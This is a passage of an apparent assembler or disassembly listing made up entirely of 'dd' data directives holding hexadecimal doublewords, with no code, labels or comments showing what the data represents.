dd 0EF105A60h, 0E45156ABh, 6908C7B0h, 0BDD73Eh, 0D7F87421h
dd 59AB610Eh, 0FBB660F2h, 3AEA147h, 0CC147A4Eh, 0B999672Bh
dd 0E74080FAh, 0ED1E4CF3h, 0F1240096h, 0F2457F5Ah, 9D18787Eh
dd 33686102h, 72C90173h, 0EA192F12h, 25F8D81Bh, 0FA8D921h
dd 0AF824741h, 0F018733Eh, 0E4898027h, 0D8004C77h, 59CD0CDh
dd 371C7F8Dh, 23D00720h, 0CFD00FAEh, 9D3F9356h, 2DA48CDDh
dd 0A9CE914h, 0A9019BF7h, 0EC70138h, 483B4E8Ah, 28402F6Ch
dd 4C400003h, 59C71E69h, 4E01B2F1h, 0FC22066h, 0A7E88BDBh
dd 705D600Dh, 0DAC73BACh, 0A8AF8C28h, 6E14B603h, 0B04BBDD4h
dd 7DD11C8Fh, 3A2E0FFEh, 0C1605166h, 3337DA6Ah, 2B11FA00h
dd 0ED010325h, 0C4771F4Fh, 7C3C017h, 0A1234A93h, 25288507h
dd 47E0D48Ch, 3F72DF0Fh, 5480BDCAh, 0B73E88C7h, 0D3F350Eh
dd 605CF0F3h, 10F200D3h, 340A6E4Dh, 0D1E81F88h, 5ED60016h
dd 750C5A8Eh, 3A33300h, 64B7ED20h, 9BA43E6Dh, 72B59907h
dd 38B4E0BFh, 0B300E3DCh, 150A5F32h, 7A1237h, 1C711B3Ah
dd 0C3B9CA06h, 0E6BFCF03h, 0D039FBD5h, 3837555h, 2B6DA6C0h
dd 9690BD47h, 30CF4664h
dd 488280C4h, 0FCC9895Eh, 0FA020338h, 341AB244h, 0F427DAD1h
dd 0E7077DA6h, 0DC4225ACh, 38ECD0B0h, 0EF430091h, 1F938782h
dd 90053B2h, 29346FFEh, 1FAF7696h, 3CB1FDD5h, 0C400D14h
dd 1F2F9700h, 0A9E693EEh, 0A478E4A0h, 7E798900h, 0A401B4Fh
dd 8DC20537h, 807B1EFEh, 0D1DC020Bh, 938F418h, 0C12008h
dd 5B5AC750h, 0E9024F71h, 4ADCD600h, 534B7B58h, 0C291843h
dd 0C40D382Ch, 2100FFF8h, 9E7084CEh, 19B2F5BCh, 8B0C1FEh
dd 2061951Eh, 0DBE20004h, 0FAFDB8CAh, 0ED0CAD1Eh, 300F09h
dd 4F0AF31Dh, 0E636BF7Ch, 7DD11F6Fh, 2FAF401Bh, 37926710h
dd 854518C2h, 3487210Eh, 0A9B91194h, 18A81F08h, 88484C1h
dd 45DEFD6Eh, 4351F51Ch, 29101338h, 0F19D1438h, 2ECF140Ch
dd 0A7B11030h, 81BFF882h, 0B1309924h, 0D88D9E2h, 8A0CA083h
dd 612C653Bh, 0E3544AA1h, 9F558A3Ch, 2BEC060Ch, 0C9606182h
dd 0D239D379h, 20F50042h, 0AC784A79h, 0AF245A31h, 1E400860h
dd 2D4450h, 0A79D4FBDh, 218F0ECDh, 9ADBB8A0h, 0AAE18000h
dd 5AB703A0h, 0D01C3008h, 0AEC2ED38h, 1B9EB400h, 4AB8F342h
dd 33CA0039h, 35A88DD5h, 0B7009734h, 0C773932Dh, 7E1221Eh
dd 94E2EC77h, 0CC0EE0A0h, 0B4E8AF4Bh, 0D10CD807h, 0C2207DF5h
dd 0B17C4Ch, 0B9239203h, 0BC5460CCh, 4F124CA8h, 0D8911830h
dd 3CB7A037h, 0E8360C9h, 90535639h, 8081A2DBh, 0D23AF0B5h
dd 9967B00h, 1530B621h, 0FC4A00DAh, 0C2E9BC76h, 600CEEDh
dd 0E3AAFD6Ch, 15F83713h, 1C51A2EAh, 3C666884h, 1E880051h
dd 3CD6FA84h, 0F228C861h, 910A9103h, 0C0298E90h, 616DF8h
dd 56221135h, 0D6CE8B16h, 0B1F08A0Ah, 80BEB894h, 0C8C00DB7h
dd 2F8D342h, 256003C4h, 0A1603B99h, 0AC0A1C98h, 5CADDF78h
dd 38B28860h, 747D37h, 9CD3328Ch, 289E7175h, 4FB8F92Ch
dd 30576200h, 1E31D83Ch, 1EC906h, 65C87CF1h, 4492E1Dh
dd 933E04C0h, 60906E6Ah, 1809C0Dh, 2EF86139h, 800591D1h
dd 7F945A29h, 0FC5CC1Ah, 8A2AFC06h, 0FE1B0D9h, 0D8DEDC82h
dd 83990535h, 5C4C287Fh, 358B1E00h, 10E4E0C0h, 98F9025Fh
dd 0BE2611C8h, 485CB480h, 0C70EFADCh, 0C32D05C0h, 281B0Ch
dd 57B03740h, 0E295C8Eh, 5DB0E0ABh, 7C3EBBDEh, 0B600F477h
dd 0B0D8859Dh, 0E94A617Dh, 50107427h, 5B0E8D0h, 7F2F9319h
dd 0CA00FF3Ch, 0C77CC822h, 0CBB50060h, 4689A0F4h, 0A02B097h
dd 587F54Eh, 1A3B40A2h, 3DF975F3h, 4298B831h, 0EBBE2073h
dd 4BD8BFh, 0D1E77CC9h, 0A0881FDEh, 0E159F90Ch, 73C4CC6h
dd 0AC185D4Dh, 8FF58094h, 3207A170h, 0C69B2B99h, 4F5F9F70h
dd 1AAB307Eh, 89E5C358h, 16A7C22Ch, 60DC0C0Eh, 979969B2h
dd 0BCAB3F82h, 0FBE21280h, 0E1FAA8DAh, 7FDB7000h, 6D05ACEDh
dd 28772BC6h, 3BCFF844h, 80C384A8h, 0BD640603h, 763F5817h
dd 0B0E30364h, 5D1B3416h, 9CB0C5B3h, 80084E2h, 7601DF3Bh
dd 7D7D1BDh, 94A93717h, 70C950A2h, 0C39246Fh, 95BD80CDh
dd 0E3B98F7Ah, 5D140077h, 300A04F4h, 7501C133h, 17E0A318h
dd 888F55C2h, 0AE207CBEh, 0F8543A4Bh, 0B4FA421Ch, 6D8D99C2h
dd 0D084B3E0h, 145FAAEFh, 0A08740DFh, 3F0E3300h, 0F5687BDCh
dd 9ED9B800h, 645FCFEDh, 34A0005Eh, 88C611CAh, 4100409Fh
dd 0F63FE80Dh, 0E3129EF3h, 0A21AF0h, 0A8C3157h, 0BF515436h
dd 0FDEE2F00h, 879AF32Bh, 0D0B45420h, 3F4A0780h, 0A04E067Fh
dd 8878392Dh, 0F1715900h, 0F3AB0FEAh, 0A3E8DFh, 5255823Eh
dd 3D4B3623h, 0CE22105h, 0E000897Dh, 0FF6FB71h, 0CC865066h
dd 0F4760FA1h, 1A75677h, 78A3F017h, 81006C25h, 0F7C06F91h
dd 1F7E4D3Dh, 0F6A2744h, 92E299F8h, 0C4580A6h, 13F6170h
dd 0B44DE425h, 22E50DCEh, 0FC470004h, 71400E70h, 77C20568h
dd 2AA32F8Dh, 6A9080FCh, 0AF0DD9Eh, 7410C143h, 153B40F4h
dd 910A45EEh, 80A33C2Eh, 0A119E58h, 0A1BB6C0Bh, 0D5245644h
dd 2C9D7C29h, 410C538Eh, 0F91101B1h, 2ADCC44Ch, 3908E03h
dd 0A422B31Eh, 38074AE6h, 0A062D21Ah, 95423281h, 8631090h
dd 0F94E77Bh, 0E8069F74h, 0B6FA2141h, 19A6D708h, 0A0930188h
dd 86ECAB0Ch, 0AE296930h, 2D00078h, 74A5EBDAh, 0DB28B834h
dd 5202E22Bh, 5771C469h, 774048BEh, 30F15E0h, 1800DC97h
dd 2A7E3F49h, 0DE00F49Bh, 2B6E7BA4h, 156F9CBFh, 9C3C45DFh
dd 91381Dh, 0B0A7CDEh, 0E102C388h, 332DBCD5h, 957140CFh
dd 68EC00BBh, 5D4E0DC9h, 191401B2h, 1BAC2D47h, 0FD9F21Dh
dd 0E186E8A8h, 4CC45300h, 0BEF0CD65h, 0F92B5205h, 0E4408405h
dd 4D9EDD62h, 0B08F6124h, 23E009CEh, 91830190h, 9B0AA273h
dd 0D9EC30h, 0D0C689BDh, 0BF5A0F8Ah, 0F89AF013h, 0CCC3F14h
dd 1882E9B8h, 33B90F2Ah, 0DE800DA2h, 0C01AAA66h, 0A641CC00h
dd 7F01EF0Eh, 91AC3017h, 8EF3DF78h, 0EAE18A1Dh, 0FDBE2500h
dd 2460A2BFh, 814852ECh, 4DD0F8FAh, 1B15FC67h, 1691431Dh
dd 1C400C12h, 75556124h, 0BAD90372h, 0DB510265h, 0DC3D60A8h
dd 0ADC2B300h, 419EF6A8h, 61F23E81h, 0C3AC090Fh, 84432D02h
dd 9EEBEC40h, 876E1E3Fh, 0B92FD766h, 3BAD3FC0h, 0C0020F2Eh
dd 64E080C1h, 38CC0DE9h, 6BB06500h, 9885E1CAh, 464F0728h
dd 0C0F511AEh, 1A3530DEh, 1D8ABA00h, 9F4BE98Dh, 9F014D24h
dd 50E7AB00h, 9F97B9Eh, 2BF31C00h, 0FE728C1Bh, 37530104h
dd 0F5908EE9h, 1ACD20D5h, 61E8EC00h, 8F98921Bh, 30E00D1h
dd 70048837h, 5800E3A7h, 5D907757h, 1CE644A5h, 0CF36B6DCh
dd 1A871FAAh, 83BDF0A7h, 0B2001090h, 0B850045Ah, 0CBD4DCh
dd 0A2482CA1h, 7D8B152Dh, 1B623Dh, 63FC40E7h, 73DBCCh
dd 86AD6F35h, 7176F891h, 0D1518A0Eh, 0D4D7C0E9h, 726F805Ch
dd 52BD00C5h, 49A18FA2h, 24001A8Bh, 9AE37D62h, 0D8C33Ah
dd 0D7C88E89h, 150CBC94h, 0B853AC00h, 0CCD49E7Fh, 1E83FE56h
dd 42BDC7h, 6F9838BCh, 79C084A3h, 0AFCD5F5Bh, 136C007Eh
dd 7B63E3AEh, 0DF019231h, 0AC1A7C2Ch, 82211E62h, 5C6AD4h
dd 683957FEh, 22DA6E0Eh, 7A0C5400h, 0A8FD637Fh, 765A0EB7h
dd 61EF0AB6h, 0D62643C0h, 0A90007B1h, 0EB862AC2h, 30992CB9h
dd 96A868B5h, 3F003579h, 0C695AA2Dh, 0EC556D47h, 0A11F0E5Bh
dd 0D70F5A30h, 859FB487h, 0E45CC36Eh, 581463C8h, 0A0F6940Eh
dd 5535409Eh, 1F682A20h, 8FCE9965h, 45076EB4h, 60539092h
dd 3300EBF5h, 0FC75B704h, 0E5025E6h, 6A77FE43h, 9DD8E020h
dd 927F422Ah, 9CEC2600h, 0AE717EB8h, 0F8E10028h, 0BA5875C4h
dd 0B4004046h, 0E287106Dh, 3016B85h, 0D5AB2267h, 0A09FFDA8h
dd 0A1AE0CCDh, 0C8B5AA02h, 40D6A0DAh, 0B452D5h, 4F036F97h
dd 85CD0B30h, 2D3B5D17h, 2524ED00h, 5C87DBA2h, 0D2009CF6h
dd 1BE30F6Dh, 0A61EB058h, 7DFBC6h, 0FCB96F84h, 0F2ACD252h
dd 2B2A008Ah, 0F4B744E3h, 5600F240h, 0F8D4E67Bh, 0E6255h
dd 4D75C32Dh, 0DD1F8C4Eh, 0A6254004h, 0D4C08778h, 0E579CBh
dd 0FAD8772Bh, 8C6FD01Ch, 0FB63700h, 289D41Fh, 2859078Ah
dd 0B30C337Eh, 2ED0C091h, 7DE29C64h, 38D52300h, 0C23287AFh
dd 1B4E0F4Ch, 1140FBC9h, 0F1048C1h, 0C61BF26h, 0BE770E03h
dd 0F982B88Ah, 57E30037h, 0BC1B0692h, 0C007344Ah, 0E1A46A0Eh
dd 0A610BFC7h, 2C911h, 0FA7B5977h, 65FBE7E4h, 2B05BE0Eh
dd 0C09E8714h, 0F48723B0h
dd 327E3033h, 0BB6B1379h, 6AF08304h, 0FC0FAB9h, 0C08D8025h
dd 0EAB2E7A4h, 9500509Bh, 0EB1F2F47h, 3853DA91h, 0C980D297h
dd 0B7CD34F8h, 6005563h, 0E572CE3h, 0FFBCBh, 3CE47802h
dd 4239945Ah, 81530B3Bh, 32F78735h, 73EC228Bh, 812D0059h
dd 50A5BE7Ch, 8700A854h, 0D869FA07h, 79D98956h, 0BC2900D7h
dd 3DC50A41h, 0BA06ED97h, 77729D2Dh, 5F3A2228h, 0FEADB000h
dd 0D019D3F2h, 29320489h, 41320EAh, 574098AEh, 0D3F166D2h
dd 10D5B522h, 77DB6085h, 226379C0h, 615AC0h, 83F60242h
dd 8D4CA3B0h, 210FC8E7h, 0E649E507h, 9330DB38h, 1CC682C4h
dd 4077AE75h, 9197BA8Bh, 8D000D5Ah, 0B37337F8h, 0CEC9BDh
dd 488B8A57h, 8E03992h, 0EDB4E90Fh, 681EC732h, 2D80CB15h
dd 89EEADh, 526B3F18h, 0E87C5FE9h, 0EA118F00h, 94281E79h
dd 7E2298D5h, 40370025h, 83EE2A1Dh, 5A00622Bh, 50AF78B6h
dd 46B9C2h, 2F894AC4h, 2195F3FDh, 6073FB05h, 31C03779h
dd 3F64ACD7h, 9E0967E6h, 0B80E52Ch, 7DE8271Ch, 0A1805400h
dd 56CBAAD1h, 0FD593CC3h, 27AE1E81h, 0F046E331h, 9CF428DDh
dd 6B003D90h, 20C9863Dh, 1D56138h, 0E597DCD7h, 0F748787Ch
dd 831816A8h, 0CA796A00h, 32554959h, 0A98B005Fh, 0C08E4D9h
dd 3300817Bh, 17E3D80h, 7A256Fh, 5CFF5D54h, 78E33803h
dd 55B71900h, 48A9D8EEh, 587907BFh, 177A3060h, 97C08E4Fh
dd 43BC2106h, 0B57B2300h, 6522B8DEh, 407E00B2h, 0B0C45828h
dd 35F02912h, 2A67F600h, 0EC1CB75Bh, 0BDD30095h, 61BA326Ch
dd 0A23BD164h, 7065A76Eh, 0D568184Dh, 6B546AC3h, 542FE5Ch
dd 1C256026h, 5FADF980h, 0E5D950EBh, 0BD3A00AFh, 600C4084h
dd 2004A8Fh, 55EC5323h, 0AF2E56h, 311A2BD7h, 0AC6B797Dh
dd 0A8230C00h, 84D1B692h, 6622028Eh, 553F1C61h, 0AC80B3E2h
dd 242DF06Eh, 0A410860Fh, 17E3E3DFh, 290FE8A8h, 3765C68h
dd 7382A061h, 0DE08706Fh, 0A1C25B00h, 0CB919E79h, 65500030h
dd 69A752CAh, 2401FF4Eh, 34541012h, 0FCE0F291h, 749500F4h
dd 0DF014B77h, 2A002126h, 8912E102h, 0F2CD0Eh, 5B0F6419h
dd 0F9D11D2Eh, 804DE30Eh, 53E06123h, 4BC8DB9Ah, 3B1807ACh
dd 10E18698h, 0C49F32BBh, 0DBB9DF1Eh, 0E71A38C0h, 0B6632Bh
dd 363350F6h, 48EEF1AAh, 7A00F3FAh, 43F57BCAh, 89A81Fh
dd 9DF90977h, 0DDBF237Eh, 0B4BB0101h, 8111E28Eh, 0F3BEF4h
dd 482A0E61h, 0EAC1CE6Ch, 0DD3A2700h, 1997C855h, 0D075242Fh
dd 0C53C0070h, 10E01A14h, 0D25B5107h, 0FB50F2E7h, 7DB63458h
dd 252B077Eh, 0E0F54F9Bh, 2114D071h, 3131100h, 93EA5DC4h
dd 3CD19050h, 0A624CD91h, 65ED0AE7h, 48050088h, 0CE25AB8Bh
dd 0F5E66A0Fh, 2FD8401Dh, 3B3548Eh, 0C1A86151h, 76F0530Eh
dd 0B803F907h, 0CC5889C3h, 0F4E4F055h, 185209A5h, 74189751h
dd 2700069Eh, 3416ED2h, 70D6B2h, 6A3989B3h, 0DEC5B193h
dd 6CA55E05h, 0B0C0328Ch, 0AB4784h, 0AFE680F9h, 0A3DDFB31h
dd 0B3DAF700h, 0DF40C269h, 6B0400B2h, 5D2083E9h, 4E079847h
dd 0EF8F1095h, 8D4DC2A0h, 0C6060018h, 1F05E576h, 2D00EEDCh
dd 0BCFACA9Ah, 5E5BBDh, 8EC49D3Eh, 550C3514h, 3CAE0700h
dd 628044F9h, 7DB43853h, 995C9E80h, 4B84EB9Fh, 0F50BEDE1h
dd 0A33FE42Fh, 0D3902275h, 5DB1A00h, 0AED232E0h, 308D0067h
dd 2B184843h, 0D81DE280h, 0E040CEBFh, 5C69E94Fh, 1BAE005Bh
dd 4B853A0Ah, 7AFCCF7Dh, 0FD00ADB0h, 951F73B7h, 0A038Dh
dd 4E101592h, 913DFB6Fh, 2E54C0EDh, 50012D00h, 7505AD4Ch
dd 707E00CBh, 0B089F052h, 3B0F956h, 102E6B1Fh, 41B8A347h
dd 122FA8E0h, 9094A03Eh, 378E1767h, 0CB7E005Ah, 3CFCD1A3h
dd 87163B3Bh, 86D9952Eh, 0A0B8A8B3h, 892C55h, 36ABDE54h
dd 2767F46Eh, 65C4CD00h, 0D0CFBF7Bh, 0CC7F98h, 87A3554h
dd 596F0AEBh, 500D5E8h, 5F2D4737h, 0A00F52h, 53C6C20Dh
dd 3F7F4CBFh, 75EDBB39h, 0FF9EB900h, 6C863B29h, 67F003DFh
dd 0DF6FD71h, 4BC131B7h, 0F92760E7h, 0F4852F00h, 0AE0AC976h
dd 45290070h, 0B4249F8Ch, 540B7E43h, 0B36E7Ah, 2E40F078h
dd 745D0080h, 52B5C58Dh, 352E4DE7h, 0B2073683h, 96110333h
dd 5E30C05Ch, 271F0008h, 432D68D6h, 3D249F98h, 1D133F16h
dd 0BE0056BCh, 5E0C6059h, 76007CDAh, 3BC62A81h, 0A4A2C0h
dd 11929426h, 8AC30FB9h, 23041200h, 3E3259B4h, 0A9DB00DDh
dd 3FF9B347h, 0EA13C378h, 0C00247Dh, 0C25C2EBh, 779600EFh
dd 413B2B7Fh, 78009E6Bh, 73A261E9h, 321FA5DFh, 334EE070h
dd 237964C0h, 4C7E6B00h, 44977B15h, 513D0083h, 0F1BFB654h
dd 4998F7F5h, 0AF53BA05h, 0B6C563E5h, 3FE9BF80h, 0DE2B3910h
dd 401F8717h, 6EFF4D24h, 0DD00E7D8h, 84CBCFF9h, 7F76ADCCh
dd 0D48900A7h, 98949D7Dh, 0F471D173h, 8091833Dh, 0E6035BEFh
dd 0EE420563h, 5823006Bh, 6234DD64h, 700C1D0h, 5BFE74F8h
dd 0E928C98h, 0BE0CB6DFh, 0F218A240h, 87E2C679h, 9E0D800h
dd 980D6088h, 0A9A0005Dh, 0B619B270h, 0D801EA10h, 6A42E3BBh
dd 0DC881DAh, 0EECD0083h, 1FA27D5Ah, 4A1FC3FEh, 0C99C4F2Ch
dd 0D5A71700h, 6269ABEh, 4E61373Dh, 290028A3h, 3AEE3644h
dd 0E6725052h, 69D0008Ch, 0C9F6C23h, 13005CFEh, 51A5B5D8h
dd 0E0C9EBh, 0F2500421h, 9C1EF84h, 0BC01FEE0h, 42F8A88Eh
dd 0F9E01C97h, 51AFAE8h, 56193D4Ah, 3D48712h, 30C730ACh
dd 9B622961h, 928FA903h, 0E02ECF58h, 3E33C41h, 4BCAECDCh
dd 2FCAD6AAh, 54A663C0h, 2D739500h, 7444C909h, 1D340C0Ah
dd 61800667h, 5FCA9100h, 7986EE71h, 3EF3E3Bh, 5B01E400h
dd 0FDE8DC3Ch, 106FAF00h, 0BA3BF2C9h, 736C03A1h, 72AAAB21h
dd 0B1E767F8h, 9BC2800h, 0AC412004h, 0B6CC0035h, 0FA478652h
dd 0D5E0B083h, 399D7B00h, 0AD879060h, 0D0250335h, 0F0D22CD4h
dd 749826ABh, 0B4004F07h, 826FC1CBh, 56F53Fh, 0D77922FAh
dd 6C372A84h, 4A937E00h, 0A431BF24h, 745900D1h, 63D311E7h
dd 0FA1C157Fh, 6400D7BDh, 0A5629320h, 0B570016h, 3EC729BCh
dd 3B001428h, 6A49F280h, 0C3A242h, 0B6187B04h, 0ED3D7483h
dd 0B7B3DD00h, 69247AEAh, 40A600CAh, 63D55EB4h, 0F200D7BFh
dd 0E887970h, 0CEEE8h, 3CED0BD9h, 0ECD1740Fh, 57855600h
dd 1CA8EF5Ch, 0A76300F2h, 1FCAF61Eh, 4200A29Eh, 0F3ACD286h
dd 6C4DCDh, 0AA4025C3h, 0CBD71685h, 60DA2100h, 2610531Fh
dd 0DDD90056h, 99DE13EDh, 700005B4h, 2387BDBh, 0B11574Fh
dd 0E7201F2Fh, 2D601D00h, 0C50461D3h, 98515B18h, 18266C0h
dd 0DC20015h, 61E0D035h, 0CF004511h, 0C429076Fh, 0EAE36h
dd 4387481Bh, 0E6AAB970h, 0B53F9D09h, 0EFC180BDh, 0C00B6037h
dd 0C094E550h, 9D00F1BCh, 6B5124DBh, 0D0396h, 4FC458Fh
dd 639C2641h, 70361A30h, 0CC284Dh, 7A447888h, 433A2F3Dh
dd 248FAE00h, 0D99040B7h, 80FD48CAh, 894E9208h, 0DC572801h
dd 0F4E0F5E0h, 0ABF60007h, 66422E8Dh, 50137CCh, 6EDEBB56h
dd 0FCC81575h, 443B00AAh, 0F6D6AFA9h, 700BDA2h, 5C8FD3EFh
dd 7F8ADF60h, 0AA46015Dh, 0C0E6B3B6h, 0A533D429h, 54C1F400h
dd 1BF3634Ch, 0F8A0149h, 7199FFDEh, 8591EC11h, 0EB03E00h
dd 629AECFDh, 0E37800FCh, 0D3F8CA9Ch, 8C01B96Ah, 2718790Fh
dd 70808663h, 0BA55C5EFh
dd 3F3D45F0h, 65928032h, 67268094h, 0A3900797h, 0D65407h
dd 0ACB58531h, 53846914h, 389300B4h, 0B72B3B97h, 0DF620075h
dd 5C24FA82h, 0D5906CD3h, 350AAF00h, 0E7B6A857h, 0DF590063h
dd 0EBE15A18h, 0CF0F43BFh, 0ACB5D6B8h, 9A7C9Bh, 0D19B3CBh
dd 0ED24B7F8h, 0EC556807h, 7AE04623h, 0D4875Ah, 1D1F8312h
dd 0F2E321D1h, 91D0C600h, 0E58D8137h, 0F45071Eh, 30DF7611h
dd 0A052F9D4h, 0B28C1B00h, 0E73FFA51h, 89E80081h, 10DD8B4Fh
dd 0D2005F3Ah, 8427F3A3h, 7F16AC1Eh, 0B1290001h, 9C512B66h
dd 4B1CC556h, 6F40A0E1h, 39FBC43Dh, 32B8005Fh, 469304C0h
dd 0E8E2E9BAh, 0B9EC5Ch, 2E15B5C9h, 4D59D8h, 0B7BB7879h
dd 6EDFB337h, 0DCF65C00h, 0BA1F09B8h, 42110012h, 6105C2FBh
dd 0F8000E98h, 0EE302BEBh, 0B9D5Ch, 0C1DC16DBh, 0CA2D1088h
dd 69043900h, 0F7820ED9h, 0C2AE00A2h, 0C08ED6E3h, 0A10F6524h
dd 80F64A8Ch, 0B4C5FE92h, 0A51338D2h, 4127C480h, 6D3FF7FDh
dd 0C612DE00h, 0A4B89994h, 328B1CE3h, 258FC048h, 0BC8C20DDh
dd 82735A00h, 0BD4719A0h, 0EF1700F0h, 35400269h, 0D300D913h
dd 53A2C4D5h, 191425h, 320BB1C0h, 0CC5DDEEFh, 1F8D1800h
dd 0E5900C2Ch, 21F800C6h, 0C7934AEBh, 62077350h, 0D04DB1A8h
dd 0C42F5670h, 98DE00C5h, 86CA03FCh, 4E04810Eh, 0D7455239h
dd 0DCF81080h, 0B871003Ah, 0EEA370BBh, 517C7DB1h, 7AC0D40Eh
dd 8AD140D2h, 78CF7715h, 472E00E8h, 69B4E414h, 7200E23Ah
dd 0D4F25835h, 1681C0EDh, 0AE7A82A0h, 0CDDFC600h, 521261h
dd 56DCE9ADh, 80CCAF70h, 40D4E103h, 0C0AE0C44h, 1AA546Bh
dd 0D8B0C394h, 0D86DCAB7h, 6205CBA1h, 3224F65Eh, 95C9380h
dd 5BAC3A33h, 46020803h, 0C5C00FD7h, 0E00079E6h, 0EE700456h
dd 3D1884Eh, 0E7315CAFh, 198042FFh, 0FCE04C86h, 6DC0DC00h
dd 0E6E9AAA1h, 0CB8E3C9Fh, 8058BD1Eh, 39E58540h, 0FB0008AFh
dd 86E47A60h, 0BD663Bh, 49C2DAEDh, 90635273h, 0C4C90618h
dd 325A910h, 0AE96DADh, 0C0004EF0h, 80BCA3E2h, 645746h
dd 18405A2h, 1A238ACDh, 7D6BB500h, 24D80DC1h, 13DA01F4h
dd 794D293h, 0F837E5E1h, 6407F131h, 0D4A42F5Bh, 7C6F7740h
dd 62BF01ABh, 16188451h, 22BEE0E2h, 8E11F139h, 0E72E6CD5h
dd 96F39F03h, 0A90198F2h, 157A005Ch, 2EF88AFDh, 5800F5C2h
dd 62D4774Ah, 0E6E7579h, 4BF99464h, 6523EECEh, 0A4880E16h
dd 0F6F2FF34h, 2D4DA103h, 0D8B387FEh, 71CE82h, 9026955Bh
dd 2E58EDDEh, 0E1AC0300h, 0BFF88161h, 99645039h, 0BEA51C4Eh
dd 65D88051h, 0E08C967Ch, 569EE52Dh, 396707C2h, 0A701C0D2h
dd 6E00656Dh, 0C4A2AFC6h, 6C58Fh, 0EE098AB4h, 3B5870FAh
dd 5B4D8100h, 822C9A54h, 0B2C11C13h, 0EF803BEAh, 0F217E6FCh
dd 49285D64h, 2607EC7Eh, 20C447ECh, 86072560h, 0A51D016Ah
dd 4EC2A713h, 80F8D0EAh, 0CF734407h, 21A049B4h, 0C6D3FAh
dd 0CBA9580Fh, 286BD81Bh, 7D9E5212h, 0AC4F5300h, 1C21062Dh
dd 4007EF73h, 5150DE84h, 0B00C601h, 2A23922Eh, 1EC8C176h
dd 3B253086h, 0F6DA9880h, 2FA8CAACh, 3031490h, 43D93B3Fh
dd 5CB07967h, 8A027ED0h, 14ECDB44h, 40590340h, 136C2C1Eh
dd 205ADECEh, 80579E68h, 80FFEBFDh, 7CAAB29Bh, 51A2076Ch
dd 0C3F84A2Dh, 3BC1E54Bh, 44FDD827h, 0AA601900h, 0E44FEB48h
dd 247B1F23h, 80F51ECEh, 69AE82A3h, 0B800F8ABh, 816F8F29h
dd 30FA94D8h, 0C7203526h, 400049D2h, 3218756h, 32CA5D3h
dd 0CC580C62h, 67B0071Bh, 0B800798Bh, 7312F843h, 23A636h
dd 559EDEFh, 0AE112ABBh, 0C88C2501h, 9F644CA1h, 1EF16FC0h
dd 0C070B2C0h, 92588FB5h, 0AF00CFB6h, 68444ED7h, 0C7F487h
dd 26F8804Ah, 8600529h, 4DCC2201h, 0E290DB02h, 0F0C25CE8h
dd 0F8E80097h, 3D1486A1h, 1D7BECF3h, 9391D60Ah, 5700B494h
dd 3A99E17Dh, 0CB23AB8h, 0BB59B80h, 38E7EE93h, 2D006A71h
dd 3F67BF31h, 0DC26B9h, 4243EDE6h, 0C20EC81Ch, 0F067400h
dd 7A7C5523h, 0F8130334h, 3FD09544h, 0C1ADCE88h, 0BB9BDF00h
dd 917909D1h, 0E2AF071Ah, 8005D7F3h, 50A6F76Fh, 1EFFF400h
dd 8C8DE34Fh, 935E009Ch, 0C18AA9CDh, 0B303ACAEh, 3A04B82Ch
dd 0D831D395h, 1C0A2140h, 80BDD988h, 5F9B09D0h, 0F000EFFEh
dd 0B75AD54Bh, 7867A934h, 3D0D71E0h, 2E80F128h, 0E92F79Ch
dd 0DAE62A8Bh, 0DC1D9D00h, 0E208C972h, 0EAE900F0h, 222F0FB5h
dd 4500E356h, 27B73484h, 0A03BCCh, 63F2EC6Ch, 406F3F52h
dd 0B5E7A900h, 19CD561Ch, 3D5F72E5h, 0C183498Dh, 636615D6h
dd 0C48206B0h, 96003AF0h, 48192CCh, 20F9DAh, 0CF556002h
dd 3D721B89h, 0C341BF00h, 0CA283239h, 0E2D8E435h, 2F9C032Bh
dd 8C777DB7h, 0E058FAC8h, 0B8670C00h, 485CCC62h, 1BF23C57h
dd 61C80801h, 0D43A8E1Dh, 463C907Eh, 19302A6h, 0E003D65Ah
dd 0FCAD65h, 6F3831A1h, 0D13F06BFh, 1C849C03h, 8893E286h
dd 7AC1839Ah, 0FDC600A3h, 0AED83494h, 0E9032617h, 0B03D4570h
dd 0DC18003Ch, 92BDD6DAh, 0F9002457h, 9172B19Dh, 0FE6F6CC7h
dd 68B8BEh, 0E5659845h, 0C633DAB6h, 3AC5BD01h, 47917751h
dd 11F30D4h, 530AC70Dh, 0C35D7254h, 9B4A4D80h, 5507F8F2h
dd 1A88979Eh, 37008C07h, 774E059Ch, 0E1D40387h, 31564FF3h
dd 0C4139FD1h, 0C700072Fh, 35EE08A8h, 3BC9D8h, 333A2152h
dd 0F92C3E85h, 0E02D8900h, 10F7991h, 35161D14h, 0DD429DFCh
dd 9C481C8h, 20EF564Dh, 8200D458h, 0CF9FD698h, 0BFB86Ch
dd 0B68B218Eh, 189D47C3h, 0BE103101h, 0E0FCF9B4h, 0FD60C0EDh
dd 33EB0056h, 81CD5755h, 0D5000882h, 77FA4BB5h, 1298ACE0h
dd 4FD842h, 2FB275D8h, 0FE7F0537h, 50002B90h, 25047B7Ch
dd 31EBCA6h, 0B890032Ah, 0EDC909CAh, 0EBF8F370h, 0E4127955h
dd 0D51F7887h, 2FE03180h, 695692h, 9B95E7C5h, 7F72572h
dd 97FE4600h, 0C0FA6B9Ah, 99E62E62h, 3DD507DBh, 6E796017h
dd 8F1FB614h, 78C0C724h, 0E057E5C6h, 418700D4h, 40A306DEh
dd 0FE0E9793h, 0E0687408h, 957DB519h, 459E0046h, 5CBC4ADh
dd 2C00208Bh, 83E9CD11h, 176106F9h, 452699h, 34AA9D01h
dd 0FE054B7Fh, 3C6BD016h, 0CE1280BAh, 8738C9C0h, 0DF1580E3h
dd 8C8F2524h, 0D77D3FA3h, 0A1859404h, 60C780ADh, 4900A868h
dd 0F0325516h, 2D6CC2h, 806F61D0h, 470F399Ch, 9FA87900h
dd 0B63B962Ch, 658F0114h, 0DFAF5272h, 312A2045h, 0AEDCCB00h
dd 3C531B3Eh, 1E53BD9h, 0A89D689h, 0BDFACA00h, 44609B85h
dd 75E82731h, 90720336h, 97E01054h, 0DB21181Fh, 803F0B1Eh
dd 19BA49DCh, 1B647ABh, 877E029Eh, 717A08A7h, 0E488C04Bh
dd 0B853FE00h, 31035EE6h, 0F9040EFAh, 2B404BB0h, 0F064E198h
dd 0A7F76E00h, 0C5970AEDh, 23E06Ch, 0BB354F94h, 849AA0DAh
dd 7139000h, 0BF6BE2EAh, 69750046h, 0E6962389h, 4500049Ah
dd 0F2639BDBh, 0E807D8E3h, 0DFAC076Eh, 0C0CC3770h, 295E3A64h
dd 0A10071E8h, 192F5117h, 0B0FB594Fh, 0D613B4Ch, 4AE18700h
